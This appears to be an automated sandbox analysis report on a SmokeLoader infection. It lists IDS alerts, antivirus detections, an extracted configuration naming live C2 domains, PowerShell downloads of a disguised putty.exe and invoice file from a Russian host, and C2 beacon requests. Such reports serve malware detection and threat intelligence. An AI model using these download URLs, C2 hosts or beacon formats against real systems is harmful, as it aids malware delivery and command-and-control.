ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T09:22:22.734924+0100	2851815	1	A Network Trojan was detected	192.168.2.11	49796	94.156.177.51	80	TCP
2024-12-18T09:22:47.605253+0100	2851815	1	A Network Trojan was detected	192.168.2.11	49808	109.70.26.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\therfaa	Avira: detection malicious, Label: HEUR/AGEN.1306956
Source: C:\Users\user\AppData\Roaming\putty.exe	Avira: detection malicious, Label: HEUR/AGEN.1306956

Found malware configuration

Source: 00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://constractionscity1991.lat/", "http://restructurisationservice.ru/", "http://connecticutproperty.ru/"]}

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\therfaa	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\putty.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Roaming\putty.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.11:49802 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.11:49796 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.11:49796 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.11:49808 -> 109.70.26.37:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.11:49808 -> 109.70.26.37:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 109.70.26.37 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 94.156.177.51 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://constractionscity1991.lat/
Source: Malware configuration extractor	URLs: http://restructurisationservice.ru/
Source: Malware configuration extractor	URLs: http://connecticutproperty.ru/

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 18 Dec 2024 08:21:50 GMTContent-Type: application/x-msdos-programContent-Length: 331264Connection: keep-aliveLast-Modified: Wed, 18 Dec 2024 06:47:16 GMTETag: "50e00-62985c8c4e500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 22 d9 df c2 66 b8 b1 91 66 b8 b1 91 66 b8 b1 91 78 ea 24 91 7c b8 b1 91 78 ea 35 91 54 b8 b1 91 78 ea 32 91 e1 b8 b1 91 41 7e ca 91 65 b8 b1 91 66 b8 b0 91 e6 b8 b1 91 78 ea 3b 91 67 b8 b1 91 78 ea 25 91 67 b8 b1 91 78 ea 20 91 67 b8 b1 91 52 69 63 68 66 b8 b1 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b4 5c e9 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6c 04 00 00 0e 01 00 00 00 00 00 e7 88 00 00 00 10 00 00 00 80 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 05 00 00 04 00 00 23 c5 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 70 04 00 28 00 00 00 00 40 05 00 d8 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 38 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 6a 04 00 00 10 00 00 00 6c 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 e8 b1 00 00 00 80 04 00 00 64 00 00 00 70 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 39 00 00 00 40 05 00 00 3a 00 00 00 d4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /fdjskf88cvt/invoce.pdf HTTP/1.1Host: spotcarservice.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fdjskf88cvt/putty.exe HTTP/1.1Host: spotcarservice.ru

Source: Joe Sandbox View

IP Address: 109.70.26.37 109.70.26.37

Source: Joe Sandbox View	ASN Name: RU-CENTERRU RU-CENTERRU
Source: Joe Sandbox View	ASN Name: NET1-ASBG NET1-ASBG

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.11:49706 -> 94.156.177.51:80

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gfplckurltmm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 159Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gvogltyuxqqhq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 267Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ydyaqkkintpc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 342Host: connecticutproperty.ru

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /fdjskf88cvt/invoce.pdf HTTP/1.1Host: spotcarservice.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fdjskf88cvt/putty.exe HTTP/1.1Host: spotcarservice.ru

Source: global traffic	DNS traffic detected: DNS query: spotcarservice.ru
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: constractionscity1991.lat
Source: global traffic	DNS traffic detected: DNS query: restructurisationservice.ru
Source: global traffic	DNS traffic detected: DNS query: connecticutproperty.ru

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gfplckurltmm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 159Host: constractionscity1991.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 18 Dec 2024 08:22:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 18 Dec 2024 08:22:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Source: explorer.exe, 00000014.00000000.1463143168.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.1466765592.00000000087C2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: svchost.exe, 0000000C.00000002.2585912141.0000027A8C612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: explorer.exe, 00000014.00000000.1463143168.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.1466765592.00000000087C2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000014.00000000.1463143168.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.1466765592.00000000087C2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.11.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.12.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: explorer.exe, 00000014.00000000.1463143168.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.1466765592.00000000087C2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000014.00000000.1463143168.0000000006A6C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: powershell.exe, 00000008.00000002.1395156668.0000022089D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 00000014.00000000.1460474306.00000000027F0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000014.00000000.1465013111.0000000007320000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000014.00000000.1466202274.0000000007F70000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: svchost.exe, 0000000C.00000002.2584022334.0000027A870AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft
Source: powershell.exe, 00000008.00000002.1395156668.0000022089AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.r
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.000002208B45D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/f
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fd
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdj
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjs
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjsk
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf8
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88c
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cv
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/i
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/in
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/inv
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invo
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoc
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.p
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.pd
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.pdf
Source: powershell.exe, 00000008.00000002.1395156668.0000022089D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/invoce.pdfp
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/p
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/pu
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/put
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putt
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty.
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty.e
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty.ex
Source: powershell.exe, 00000008.00000002.1395156668.0000022089F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/fdjskf88cvt/putty.exe
Source: powershell.exe, 00000008.00000002.1395156668.0000022089D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2D85F72862B55C4EADD9E66E06947F3D0.11.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://account.activedirectory.
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://account.li
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://account.live-int
Source: explorer.exe, 00000014.00000000.1466765592.00000000089B8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexe
Source: powershell.exe, 00000008.00000002.1395156668.0000022089AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOSdX
Source: explorer.exe, 00000014.00000000.1466765592.000000000875F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000014.00000000.1466765592.0000000008632000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000014.00000000.1466765592.000000000866C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=3B22F7CF85C14EF68AA6229BF5B3705E&timeOut=5000&oc
Source: explorer.exe, 00000014.00000000.1466765592.000000000875F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000014.00000000.1466765592.000000000866C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://buy.live.com/
